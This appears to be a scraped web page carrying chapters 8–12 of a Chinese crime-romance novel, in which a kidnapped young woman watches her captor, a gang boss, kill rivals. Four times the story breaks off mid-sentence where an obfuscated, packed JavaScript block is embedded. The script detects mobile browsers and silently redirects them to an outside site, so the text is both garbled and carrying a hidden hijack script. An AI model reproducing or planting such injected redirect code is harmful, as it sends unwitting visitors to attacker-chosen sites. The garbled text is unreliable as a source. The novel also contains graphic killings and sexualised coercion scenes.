她不知道自己做错了什么,为什么会招惹上陈寅洛这个恶魔。虽然他被领养回陈家,两人在同一个屋檐下相处过几个月,但他们几乎没怎么说过话,更不必提有深仇大恨。 况且那会陈知念才八岁,八岁的小孩能做什么呢?每天都是乖乖起床,然后由司机送去学校,放学回来后按时完成作业,这几乎就是她的全部日程。 和陈寅洛的交集,几乎没有。 在他被驱逐后的十年里,在无数次梦魇惊醒后,她都会思考这个问题,他为什么要杀自己呢?答案是没有答案。 爸爸说因为他本身就是个杀人不眨眼的恶魔,但陈知念总觉得,不止于此,他看她的目光总藏着她看不清的秘密。 空旷漆黑的走廊里,陈知念单薄的身影仿若一阵风都能吹倒。 她就这么坐在地上,脸埋在膝盖里无声哭泣。 她好想爸爸妈妈,好想爷爷,升学考试她也没来得及参加,原本她还打算考完后去P?tisserie买栗子蒙布朗,带回家和爷爷一起吃。 爷爷血糖不太好,难得能吃甜食,他一定会很开心的。 可现在,一切都不存在了。 也不知道自己失踪这么多天,爸爸妈妈会担心成什么样,爷爷会不会急的又发病,虽然科技已经很发达,但很多基因病依旧无法治愈。 不要哭,不要哭陈知念,你一定要好好活下去,你一定会再见到爸爸妈妈的。 * 第二天陈寅洛起床后,打开房门就看到地上躺了个什么东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272532|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被子裹得紧紧的,只露出小半张脸,看上去还有些苍白,眼睛紧紧闭着,睡得不算安稳,但至少没再胡言乱语。 梦里,陈知念差点迟到,急匆匆赶到学校参加升学考,考试倒计时最后一秒,教学大楼突然被一辆从天而降的列车撞毁,她跑啊跑,意外撞到一个人。 她抬头,看到陈寅洛。 他漫不经心叼着一根烟,半垂着眼望她。 还来不及害怕,陈知念就感觉小腿被什么东西不轻不重地踢了一下。 那触感真实地穿透了混乱的梦境,她猛地一惊,从光怪陆离的幻象中惊醒过来。 睫毛慌乱地颤动几下,认命地睁开眼。 陈寅洛高大挺拔的身形逆着微光,正居高临下地看着她,脸上没什么表情,陈知念却能轻易攥取到他眉眼间的不耐。 “挡路了。” “对、对不起。”她迅速爬起来,把自己和这堆“破烂”一起,囫囵个地挪到了墙边。 陈寅洛目不斜视,径直从她身边走过。走了没几步,忽然又顿住回头望她,好看的眉峰重重拧着,“你打算馊到什么时候?” “……啊?”陈知念愣了足足有好几秒,混沌的脑子才迟缓地处理完这句没头没尾的话。 她下意识地低头,才发现自己裙摆都是血污,双臂被厚厚的绷带缠着,有些血丝渗出。 看上去有点像乞丐。 她的脸颊噌地烧起来,“对不起……我这就去。” 就在这时,楼下传来轻微的响动。艾雅领着林医生正走上二楼走廊,一抬头,恰好看见走廊对峙般的两人。 “洛哥。”艾雅立刻停下脚步,“林医生来了,需要现在给……”她话语微顿,这才意识到自己并不知道女孩的名字,只好用眼神示意了一下,“……给她换药吗?” 陈知念立刻摆手,“姐姐,不用了,我……我得先去洗澡。”说完,她无地自容地垂下头。 艾雅眼底飞快地掠过一丝难以掩饰的诧异。 这女孩……精神状态居然还算稳定? 这完全出乎了她的预料。按照常规判断,她至少需要好几天的专业心理干预才能勉强恢复基础认知。 可现在,她虽然看起来怯懦,脆弱得像一张一戳就破的纸,但逻辑是清晰的,没有半点精神崩溃的迹象。 真是令人意外。 而陈寅洛压根没把这当回事,在他眼里,关个禁闭就精神错乱,那才是有毛病。 一旁的林医生推了推眼镜,出于职业习惯,谨慎开口:“洛哥,从专业角度看,这位小姐经历了严重的创伤性应激,如果条件允许,最好能有一个更宽松安宁的环境进行恢复,哪怕是出门散散心,接触一下自然环境,对舒缓她的紧张情绪也会有很大帮助。” 陈知念蓦然抬头,慌乱地摆手,生怕麻烦别人,“不用了,谢谢,真的不用了,我……我没事。” 陈寅洛没立即答话,他斜斜倚着门框,上下扫了陈知念一眼,半晌开慢悠悠开口。 “行,晚上,小叔叔带你去个……好玩的地方。” 声线低沉,每个字裹着不怀好意的戏谑。 艾雅轻轻皱了眉,洛哥今晚不是要去莫妮卡么,带她去?那种地方…… 她的视线落到陈知念身上,终究是抿了抿唇,什么也没说。 9. 第 9 章 车在一栋霓虹闪烁的高楼前停下。 陈知念坐在车里,指尖不安地绞动。男人已经径直下了车,透过车窗,她可以清晰看到外面的景象。 玻璃门前是踩着高跟鞋来回走动的女接待,笑得艳丽,身上几乎没有布料,只有一块巴掌大的布遮住隐秘处。门内光影闪动,人影幢幢,在迷幻闪烁的灯光下如同群魔乱舞。 “下车。” 陈知念瞬间白了脸。这种地方意味着什么,她再懵懂也猜得到。 他为什么要带她来这里。想到刚到禁区那天陈寅洛的威胁,她手脚发软,用尽力气揪住他衣角哀求:“小叔叔,别卖我好不好……我听话,我真的会听话,您别卖我,好不好?” 雷子刚下车就听见这话,莫名其妙地看过来——洛哥缺这点钱? 男人却不答话,伸手揪住她后颈,把人直接提下了车。 震耳的电音与混杂着酒气、香水味的热浪瞬间将她吞没。陈知念挣扎着,几乎是被拖着往前走。所经之处,众人纷纷为陈寅洛让路,目光却惊异地落在他拖着的女孩身上。 雷子实在看不下去,低声提醒:“别哭了,洛哥没打算卖你。” 又哭又挠,搞得好像洛哥要搞强J一样。 但陈知念根本不信,泪眼朦胧中,她看到浑身赤/裸的女人端着酒盘从人群中穿过。舞台上有女人趴在金属杆上摇摆,衣服早就七零八落,皮肤上满是抓痕,有人一笑边一边往女人背上泼酒。还有不着寸缕的少年,坐在一个大腹便便的老男人身上起伏。 包间门口,刺耳的电音隔着厚重的门板依旧震得人耳膜发麻。 男人低头,眸光狠戾:“闭嘴!” 他眼里透出来的凛冽杀意让陈知念瞬间收了声,她清楚地明白了他未说出口的意思,不听话他真的会杀了她,他一向说到做到。 她像只受惊过度的兔子,被陈寅洛毫不留情地推进门内,自己则紧随其后。 奢华的包间里,水晶吊灯折射着迷离的光,空气里弥漫着昂贵的雪茄和烈酒的混合气味。 隆文正搂着个女郎上下其手,看到陈寅洛进来,笑容立刻咧开。但很快,那笑意转向陈知念时,变成了耐人寻味的打量。 他的目光黏在她身上,从那双干净得过分的眼睛开始,沿着她细瘦的脖颈、拘谨并拢的膝盖,一路往上挑,又回到小巧的粉唇,游移不定,贪婪又黏腻。 禁区的女人他见得太多了,腰细腿长的,前凸后翘的,勾人魅惑的,装成学生妹的也不少,可再像,那眼神、皮肤、行为举止……全是假的。 眼前这个不一样。生的白白嫩嫩,身上带着书卷气,就像是一页洁白干净的纸。 隆文舔了舔后槽牙,这样的纸,他最喜欢亲手揉皱。 陈知念被他盯得浑身发毛,那粘腻的眼神就像是吐着信子的毒蛇,一圈圈缠绕着她,让她几乎不能呼吸。 她下意识向陈寅洛靠近了点,但又不敢靠得太近。出于本能,她还是觉得陈寅洛似乎更令人心安。 她的小动作对陈寅洛来说无所遁形,但他只淡淡看了眼,什么也没说。 “洛哥,可算是来了。”隆文笑着抬手示意,“来,坐这。” 陈寅洛长腿一迈,走到沙发前落座。陈知念压根不敢离他太远,跟随其后,犹豫了一下,坐在了离他不远的地方,紧绷着唇大气都不敢喘。 她不知道为什么陈寅洛要带她来这里,但很明显,他就是故意的。 雷子没坐,他尽职地站在陈寅洛身后,面色严肃,目光一直在包间里来回扫。 他是陪陈寅洛从尸山血海趟过来的,左眉骨上那道三指长的疤痕,是当年替陈寅洛挡子弹时留下的。那时对方开着改装皮卡冲过来,枪管从车窗里探出来的瞬间,他把陈寅洛按进铁皮箱的夹缝,自己却挨了一枪。 如果不是时刻保持警惕,他不知道死了多少回了。 隆文推开女郎,拍了拍手,身后立刻有人捧来一只胡桃木雪茄盒。 “洛哥,科伊巴Behike56,老爷子自己留着抽的,我从那顺了一盒出来。” 小弟打开盒盖,恒湿木香混着雪茄特有的发酵气息溢出来,每一根都包着黑金相间的环标,茄身油亮,纹路紧实。 “这玩意儿市面上可买不着,洛哥,得用火柴点,味才正。” 话音刚落,一个穿着深V短裙的女人已经款款走来。她纤细的手指先用雪茄剪利落地切去茄帽,旋即夹在指尖轻轻捻动,然后拿出一根长火柴点燃,先烘烤雪茄前端,让烟叶受热。 等火苗稳定后,她把雪茄送到陈寅洛的嘴边。 陈知念呆呆看着这一幕,不知道这算不算是一种交际礼节。女人的动作很熟练,暴露的肌肤在灯光下白的晃眼,蹲下的□□,隐约能看到更深处的隐秘。 烘烤时飘出的烟味很浓,带着她不习惯的辛辣味,钻进鼻腔,让她下意识想咳嗽。 男人却只是神情淡漠地微微扬着下巴,叼住雪茄。他轻轻吸了一口,缓慢地将烟雾引进去,火苗在雪茄前端跳了跳,原本浅黄的烟叶边缘泛起焦黑。 烟雾在他唇齿间盘旋两秒,才缓缓从喉咙里漫出来。 “咳……”陈知念没忍住,喉咙里还是滚出半声咳嗽。 她偷偷抬眼,看见他夹着雪茄的手指骨节分明,简单的动作在他做来却莫名矜贵。 烟雾缭绕中,他的眉眼依旧凌厉。他抬眼看向隆文,“我要的货呢?” 隆文晃了晃手中的酒杯,顿了下,笑容没变:“前几天也不知道是哪个王八羔子把白塔的科研楼给炸了,风声太紧了,这路子不好走,能出的量……有限。” 陈寅洛又吸了一口雪茄,没接话,只抬了抬下巴,示意他继续。 隆文搞不清他什么意思,只得继续接道:“再缓一缓,等风头过了,很快就能出货了。” “我什么时候能见到老爷子?”陈寅洛开门见山。 隆文皱了皱眉,打着太极:“老爷子最近身体不太方便,出门少。等他状态好了,我一定安排你们见一面。” 他的话纯属就是放狗屁,陈寅洛心知肚明。他嗤笑一声,微微倾身,“隆少爷,你他妈玩我呢?” 隆文的眼神一瞬间变得阴鸷,可很快想起一件事。两个月前,陈寅洛和南湾崔虎谈一笔生意,具体发生了什么没人知道,可三天后,崔虎家正举办寿宴,席间灯火忽然全灭。 灯再亮时,寿星老头的双臂已经被整整齐齐切下来,摆在宴会桌上,桌上的汤碗里还漂着他家最小孙子的小拇指。 陈寅洛坐在主位,像客人般举杯敬酒:“不好意思,不请自来。” 那一夜,崔家五十多口人,一夜之间全部消失了。没人知道他们去哪了,但总不会是安全离开的,或许都已经化作一捧灰了。 他强自忍了下去,又恢复成油滑的样子,“哪儿能啊洛哥,咱们谁跟谁,哪有玩你的道理。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272533|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈寅洛没说话。 隆文眼睛转了转,又瞧见了坐在一旁跟鹧鸪鸟似的陈知念。他心里的骚动一下又涌上来了,他试探着问,“这位……不介绍一下?” 陈寅洛懒得抬眼,只淡淡说:“没长眼睛么,自己看。” “哈哈!”隆文大笑,没介意他话里的不客气,禁区里的人说话,谁不带个他妈的、日/你娘,少见多怪。 他又问,“洛哥,该不是你马子吧,你好这一口?” “不是。”陈寅洛回答得干脆利落。 陈知念听到那男人忽然把话题转移到自己身上,心一下提了起来。她胸腔砰砰直跳,目光慌乱地投向陈寅洛的方向,可对面的男人只是慢条斯理地吸了一口雪茄,眼皮都没抬一下。 他分明看见了,却选择了袖手旁观。 陈知念心里一凉。果然,男人很快就端着酒杯走向她。他笑了笑,露出一口大黄牙,“妹妹,喝一杯,咱们认识认识。” 隆文笑着举起酒杯,借着敬酒的动作,手慢慢向她伸去。 陈知念吓得往后一缩,手脚说不出的麻,那双手就像一只粘腻的八爪怪兽,张着血盆大口向她吞来。 就在隆文的手指快要触碰到她时,一股力道猛地扣住了他脖子,人被硬生生拽住,砰一声脸颊砸在了桌面上,一只脚用力踩在了他胸口。 还没等他反应过来,冰凉的金属已经顶在了他的下颌骨。 枪口缓慢坚定地上移,逼得他不得不仰起头,露出脆弱的喉结。 隆文身后的两名保镖下意识摸向腰间,几乎同时,“砰!砰!”短促的两声枪响,保镖的身体轰然倒地。 包间里瞬间安静了两秒,然后尖叫声接连响起,沙发上的女人们连鞋都顾不上穿,尖叫着往角落里缩。 雷子面无表情地收了枪。 陈知念僵在沙发上,耳朵嗡地一声,什么都听不见了。 视线里只有那两具倒在血泊里的身影,胸口塌陷,血像开了闸一样往外涌,不断扩大,在地毯上积成小小的水洼。 怎么会有这么多血? 胃里一阵翻江倒海,她想捂住嘴,可手重得根本抬不起来。 隆文面无人色,额头上冒出豆大的冷汗,他强撑着不露怯:“洛哥……你什么意思?” 陈寅洛吐出一口烟雾,手中的枪用力顶了顶:“谁允许你碰她的?” 隆文艰难地仰起脖子,企图离枪远一点。吗的,陈寅洛这条疯狗!刚刚问他是不是他马子,他说不是,现在来跟他玩翻脸不认人!吗的,阴沟里翻船了! “洛哥,……有话好好说,何必动刀动枪?!” 陈寅洛再不废话,说出真正目的:“把手机拿出来,打电话给你老子。” “害,没问题,我现在就打!现在就打!”隆文掏了好几次才把手机掏出来,在陈寅洛的注视下,快速地拨通了隆固的电话。 “喂。”隆固沉稳的声音响起。 “爸!救我!” 隆文只来得及说这一句,手机就被陈寅洛接过,“喂,老爷子,是我啊,陈寅洛。” “……”电话那头沉默了一会,“你把阿文怎么样了?” 陈寅洛笑了笑,“还活着,全须全尾的。但等一下会不会少点什么,就看您怎么说了。” “……” “老爷子,您儿子刚才居然敢伸手碰我侄女,我可就这么一个家属。这事,您说——该怎么办呢?” 10. 第 10 章 电话那头短暂沉默,传来隆固压低的嗓音,“你想要多少?军/火?还是钱?” 陈寅洛低低笑了一声,“钱?我缺那个?” 他视线垂落到隆文的脸上,“老爷子,您就一个儿子吧?虽说现在生儿子用不着你亲自播种了,可您也七十来岁了,小蝌蚪存活率还好吗?没种子,机器人也没法怀孕啊。” 说到这,他正了声色:“要是不想以后没人送终的话,今晚出来一趟,我要和您见一面。” 隆文浑身一哆嗦,陈寅洛的眼神太冷了,看着自己就跟看死人一样!现在他才真的开始害怕,他焦急大喊:“爸!快答应他!您可就我一个儿子啊!” 电话那头沉默着,低沉的呼吸声透过话筒传来,像是在压着火。 “爸!!”隆文全然没了镇定,他很确定,如果老爷子不答应,下一秒陈寅洛手里的枪就会爆了自己的头! “爸!救我啊!!我不想死啊!!” 陈寅洛轻笑道:“听到了?江湾码头的废仓库,十分钟内你要是没出发,明天您就会收到一具没脑袋的尸体。” 隆固终于沉不住气了,那可是他唯一的儿子!!他冷冻的精/子已经用完了,没机会再生出第二个了!! “好。”他狠狠道:“陈寅洛,你最好别后悔!” 陈寅洛忽然又软了几分语气,“老爷子,别紧张,我就是想和你谈笔生意。您可太难得见了,迫不得已,我才出此下策。” “生意是你这样做的吗?!你个后生仔没一点规矩!!” 陈寅洛将手机放远了些,脚又用力向下压了压,疼得隆文直抽气。 “老爷子,还剩八分钟。江湾码头等您。” 陈寅洛说完,径直挂断电话,把手机随手一抛,给扔了。 雷子这时走上前来,附耳道:“哥,阿星他们都准备好了。” “嗯。”陈寅洛淡淡应了一句,雷子拿起枪,枪托砸下,直接把隆文给砸晕了,鲜血顺着他脑门蜿蜒而下。 陈寅洛站起身来,慢条斯理从雪茄盒里捻起一根,火柴在他手里“嗤”地燃起。烟雾从齿间溢出,薄雾里,他中肯点评,“味道,确实不错。” 说完,他叼着雪茄,抬脚往外走。 雷子一手拎着人事不省的隆文跟在后面,走到陈知念旁边时,他看了一眼。她还蜷在沙发角落里,神情恍惚,眼神空洞。他犹豫了两秒,开口道:“洛哥,她……怎么办?” 陈寅洛顿足,视线落在她身上,“把人送回去。” 雷子应了一声,一把将陈知念从沙发里拽了出来。人轻的很,跟拎猫似的。 她整个人还陷在恍惚里,脚步虚浮,任由他拽着往外走,没有一点力气挣扎。 快了到包间门口,一个穿黑衬衫的男人迎了上来。雷子连停都没停,顺手把她推过去,冷声交代:“送回洛哥那去。” 男人点头,伸手扣住她的胳膊,动作干脆利落,不给她反应的机会,就将人带走。 —— 车子经过一条浑浊的野河时,坐在副驾驶的陈寅洛忽然开口:“把垃圾处理掉,丢河里。” 雷子指了指脚边昏迷的隆文:“不带他去?” “他老子都要归天了,他不得在前面等着,给他老子引路?” 说完,陈寅洛点燃一支烟,降下车窗。 车子很快停下,雷子利落地拖下隆文,枪抵到他眉间,砰一声,人就没了声响。 没有丝毫犹豫,雷子将人一脚踹进河里,“噗通”一声闷响,河面溅起一团不大的水花,随即泛起几圈涟漪,很快便恢复了沉寂。 陈寅洛微眯了眼,吸掉最后一口烟,烟蒂扔出窗外。 “开车。” 江湾码头早已被夜色吞没,破败的仓库孤零零伫立在风中,像是某种静候的陷阱。 仓库内部,蛛网密布,仅有几盏昏黄的临时照明灯,将有限的光晕泼洒在水泥地上,光线之外,是深不见底的黑暗。 隆固带着十几个精锐手下提前埋伏在了阴影里,每个人手里都端着上了膛的冲锋枪。 车辆缓缓停在仓库大门口,车门打开,陈寅洛慢条斯理地跨了出来。 他单手插在西裤口袋里,步伐从容,甚至带着点闲庭信步的懒散。雷子沉默地跟在他身后半步的位置,如同他的影子。 他精准地停在了光线边缘,没有再深入。 “老爷子,这么客气?还带了这么多人迎接我。”他开口,声音带着笑意,在空旷的仓库里激起轻微的回音。 隆固从一堆集装箱后现身,脸色铁青,“我儿子呢?!” 陈寅洛语调轻慢,“杀了,这会儿估计都凉透了。” 话音刚落,仓库顶端的照明灯同时被击碎。 黑暗里,十几架无人侦查机自高空俯冲而下,下一瞬,枪声骤起。 “哒哒哒——” 阿星和他的人早已占据了所有制高点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272534|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,隆固带来的人都被一一锁定,连有效的反击都组织不起来,只能徒劳地朝着黑暗开枪,然后被不知道从哪里射来的子弹收割生命。 “陈寅洛!你他妈不得好死!” 隆固被几个心腹拼死护住,狼狈地躲在一处相对坚固的梁柱死角,子弹噗噗地打在身旁的混凝土上,溅起碎屑,砸在脸上生疼。 完了。 这个念头像一条冰冷的毒蛇,倏地钻入隆固的脑海,盘踞不去。 谨慎了一辈子,算计了一辈子,没想到今儿在阴沟里翻船了!还是翻在陈寅洛这个后生仔手里! 他妈的!这小子早就算计好了,今儿叫自己出来,就是存着杀人灭口的心。 隆固的心脏在胸腔里疯狂擂动,耳边是自己手下垂死的惨叫和越来越稀疏的枪声。 每一声惨叫,都像一记重锤,砸在他心上。 这些都是他跟了多少年的老兄弟,轻敌了……太大意了! 原以为陈寅洛只是个够狠够疯的愣头青,仗着不要命才闯出点名堂。以为他约见面最多是仗着手里有阿文,想讹一笔大的。 自己带足了人手,布好了埋伏,以为稳操胜券,能趁机把这个不知天高地厚的小子给做了,永绝后患。 没想到,自己才是自投罗网的那个。 “老板!这边!快走!”一个心腹试图拖着他撤,刚冒头,一发不知从哪个角度射来的子弹就直接击中了他脑门。 温热的脑浆和鲜血喷了隆固一脸。 隆固猛地一哆嗦,栽了,这回真他妈栽了。 而陈寅洛,自始至终站在原地,连姿势都没有变过。 似乎是等得不耐烦了,他垂下眼,从口袋又拿出了烟。 “嚓”一声轻响,在稀疏的枪声中微不足道。 他叼住烟,微微偏头凑近火源,橙黄的火光随风晃动,将他低垂的眼睫和冷硬的颌线映照得忽明忽暗。 猩红的光点在他唇间亮起,他呼出第一口烟雾,抬眸。 枪声骤停,万籁寂静。 隆固带来的十几个人,已经全部变成了地上姿态各异的尸体。 隆固本人瘫坐在一个集装箱旁,面无人色,他最后一个贴身保镖就倒在他面前,额头一个血洞正汩汩冒着鲜血。 陈寅洛这才迈开脚步。 他走到隆固面前,停下。 雷子递过来一把手枪,陈寅洛接过枪,微微俯身,“老爷子,该上路了。” 11. 第 11 章 “打扫干净点。” 陈寅洛直起身,将枪随意抛给雷子。地上的隆固软成一摊烂泥,双眼仍瞪着,死不瞑目。 阿星从狙击点一跃而下,快步跑到陈寅洛面前,脸上带着压抑不住的亢奋:“老大,终于把这老东西解决了,吗的,跟泥鳅一样,滑不溜秋,今儿终于逮着了。” 陈寅洛笑了笑,用纸擦了擦手上并不存在的污渍,问:“隆固那几个厂子的地图和值班表都记熟了吗?” “放心吧老大,都印脑子里了。”阿星一派的吊儿郎当,“您只管等着看结果就是,保准没问题。” 陈寅洛挑眉看向雷子,雷子沉着道:“我们的人分三组,已经就位在三个厂子外围了。信号屏蔽车也准备好了,随时可以切断他们对内对外的所有通讯。隆固手下那几个管事的头目,家眷地址也都摸清了。” “嗯。”陈寅洛淡淡应了声,边朝车的方向走,边淡声下达指令。 “听着,阿星你带一队人,现在是……”他抬腕看了眼手表,“十点四十七分。十一点半,信号屏蔽一启动,你带人从西南角进去,那是他们监控的死角。用消音器,十分钟内,把安保人员全部清理掉,一个不留。我要你的人在十一点四十五分,完全控制三个厂子的所有出入口和制高点。” “明白,sir!”阿星嘻嘻哈哈没个正行。 陈寅洛笑着扫了他一眼,继续往前走,“雷子,等阿星控制住局面后,你带另一队人进去。把里面所有工程师、技术员、熟练工集中到空地。告诉他们,愿意留下的,工资翻三倍,不愿意的……” 他顿了顿,淡淡补充:“……就让他们和隆固去作伴,也好路上有个照应。” “是,洛哥。”雷子答。 陈寅洛已经走到了车前,雷子立即替他开了车门,陈寅洛长腿一迈坐了进去,降下车窗说:“之后,立刻让我们自己的技术团队进去,第一时间接管核心生产线和中控室。所有生产数据、客户名单、供应链账本,我要在明天早上太阳升起之前,全部摆在我的桌子上。” “知道了,洛哥。” “还有,”陈寅洛指尖在膝盖轻敲,语气懒散却带着冷意,“隆固那侄子,别留着,省得以后闹幺蛾子。” “明白,洛哥,保证干净利落。”雷子应道。 “去吧,明天吃早餐前,我要听到它们都改姓陈。” 阿星和雷子没有丝毫迟疑,迅速转身上车,投入新的战斗。 陈寅洛拿出一支烟叼上,“祥仔,送我回家。” 驾驶室的青年立刻应声,刹车一松,车辆扬长而去。 安静的车厢内,陈寅洛抽完一支烟,才拿出手机拨了一个号码。 “喂,诺顿先生?您要的货,现在全在我手里了,价格?好商量。” —— 陈知念被送回别墅时,人还有些恍惚。 不过四五天时间,她已经亲眼目睹四条人命在自己面前消亡。 生命原来那么脆弱,那么不堪一击。 过去的十八年,白塔城为她建构的世界观是法律、道德、礼貌,是每一条生命都应该被敬畏和珍惜。可现在,她信仰的一切都在眼前分崩离析。 人命在这里,竟可以轻贱到这种地步。 原来,爸爸口中那个“弱肉强食”、“法外之地”的黑暗禁区,真实的样子,远比她想象中最可怕的噩梦,还要恐怖一千倍,一万倍。 她感到一种剧烈的反胃,干呕了几下,却什么也吐不出来,只有生理性的泪水模糊了视线。 她该怎么办……她是不是也会像那天笼子里的人一样,在某一天,因为某一句不经意的话,就彻底从这个世界消失不见? 没有人知道她去了哪里。 爸爸妈妈还会每天望着门口,盼着她回家,等她回家吃晚饭。爷爷还会抱着她最爱吃的零食,坐在窗边,等着她周末去看他。 他们永远不会知道,他们最爱的女儿、孙女,已经像一粒微不足道的尘埃,悄无声息地湮灭在了这个法外之地的黑暗里。 陈知念终于支撑不住,缓缓滑坐到地上,抱住膝盖,将脸深深埋了进去。 肩膀无可抑制地颤抖起来,却不敢发出一点声音。 她只想活下去,她真的可以活下去么。 与此同时,白塔城,中央秘书室。 陈毅衡愤怒地拍着桌子,震得茶杯哐当作响:“徐部长,现在已经有确切消息我女儿是被陈寅洛拐走了,为什么你们还不派人行动?你们必须要给我们陈家一个交代!” 徐岩像是没感受到对方的震怒,不慌不忙地拿起茶壶,将陈毅衡面前那杯溅出些许的茶水缓缓斟满。 “陈老弟,稍安勿躁,先喝口茶,降降火气。你的心情我完全理解,令嫒出事,做父母的哪能不心急如焚?” 他先是表示理解,随即话锋一转,“但是,你也知道,禁区那个地方……情况复杂,有它自己的一套运行规则。我们不是不办事,而是办事要讲究方法,要符合程序。” 他身体微微前倾,压低了些声音,显得推心置腹,实则句句都是软钉子:“陈寅洛这个人,在禁区势力盘根错节,手下亡命之徒众多。如果我们白塔城的武装力量贸然大规模进入,一旦爆发正面冲突,后果不堪设想啊!到时候,不仅救不出令嫒,很可能还会激怒对方,导致……唉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272535|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那才是最坏的结果。” 他叹了口气,一副完全站在对方角度考虑的样子:“我们现在最重要的是确保念念的生命安全,对不对?硬来是下下策。” 陈毅衡脸色铁青:“那你们就什么都不做?眼睁睁看着我女儿在那种地方受苦?!” “怎么会什么都不做呢?”徐岩立刻否认,表情严肃起来,“我们已经在通过多种渠道、多种方式积极斡旋了。这些工作都在紧锣密鼓地进行,只是不方便对外公开细节。” “我们现在需要的是时间和耐心,要相信组织的判断和安排。”他最后盖上官腔十足的大帽子,“一有确切的、可以行动的消息,我第一时间通知你,好吗?现在,请回去等消息吧。” 说完,他端起自己的茶杯,轻轻吹了口气,呷了一口。 陈毅衡被徐岩这番官腔堵得胸口发闷,他猛地站起身,“好!就算我女儿的事你们要从长计议,那陈寅洛炸毁白塔直属的科研楼呢?!这件事难道也可以当做没发生?” “毅衡啊……”徐岩放下茶杯,换了个更显亲近的称呼,“科研楼的项目都是最高级别的机密,有些事情,我们不便对你们议会公开,如果大张旗鼓地追究,会造成什么样的连锁反应?会在国际上、在各城邦之间引来多少窥探和趁火打劫?这些,我们都必须评估。” 他身体前倾,“我们的调查一直在进行,这件事,议会高层已有共识,你就不要再过度担忧了,以免……干扰了整体的部署。” 陈毅衡面色铁青,明知他不过是在打太极,却也一时无可奈何,只能咬牙含着怒气,摔门而去。 办公室的门彻底关上后,徐岩脸上那副推心置腹的表情,瞬间消失得无影无踪。 他慢吞吞将杯里茶喝光,然后拿起桌上的加密通讯器,按下了一个预设的快捷按键。 电话响了四声,就在即将自动挂断时,被接了起来。 对面没有任何声音,只有一片沉默的电流音,像是在等待他先开口。 徐岩同样保持着沉默,这种无声的较量持续了足足五秒。 最终,徐岩先开了口,“最近你那边动作可是不小啊,我这边窗户关得紧,风一时半会儿还吹不进来。” 他的话到此为止,但所有想表达的,都已经精准传递了过去。 电话那头,传来一声轻笑,然后,一个低沉的嗓音响起。 “徐部长的茶,是该换批新的了。” “不够重量我可不收。” “放心,”那个声音继续道,“新茶的分量,陈部长一定会满意的。” 徐岩得到了他想要的承诺,脸上漾起一丝笑意,“那样最好。” 12. 第 12 章 陈毅衡带着一身怒气回了家。 客厅里灯火通明,家族里几位核心的叔伯辈都在,显然已等候多时。 他的妻子,苏婉,正瘫坐在沙发里,由一位姑母搀扶着,哭得几乎背过气去。 听到开门声,苏婉猛地抬起头,充满希望地看向丈夫,但当她对上陈毅衡那铁青的脸时,那点希望的光芒瞬间熄灭了。 “怎么样?徐部长他……他答应派人了吗?” 陈毅衡没有直接回答,他重重地把自己摔进对面的单人沙发里,双手捂住脸,用力搓了搓。 半晌,他才说:“……他说了一堆官话,全是放屁!他们根本就没打算管!” “什么?!”一位脾气火爆的堂叔猛地一拍茶几,“他徐岩敢这么敷衍我们陈家?念念可是我们家的心头肉!” “别提了!”陈毅衡放下手,眼底布满血丝,“在他们眼里,没有公道,只有交易。我女儿的命,还比不上他们棋盘上的一颗子。” “那怎么办,我的念念,我的念念……”苏婉听到这话,彻底崩溃了,失声痛哭,“那是禁区啊!吃人不吐骨头的地方!她一个人在那里,得多害怕……她会不会已经……呜呜呜,我的孩子……” “不能再等了。” 一道沉着的声音响起,说话的是陈毅衡的大哥,陈毅擎。 “官方靠不住,我们就靠自己。”陈毅擎的目光扫过在场每一位家族成员,“念念是我们陈家的女儿,流的是我们陈家的血。别人可以放弃她,我们绝不能!” “大哥说的对。”另一位叔父附和道,“白塔不管,我们陈家自己管!” “可是……”一位较为年长的叔公面露忧色,“禁区那地方,不亚于龙潭虎穴……” 陈毅擎打断,“没有可是,有些事,明知不可为,也必须做!否则,我们陈家今天能放弃念念,明天就能放弃任何一个人。这口气散了,家也就散了!” 他目光扫视全场,“不惜一切代价,带念念回家!” —— 陈寅洛到家的时候已经接近凌晨。 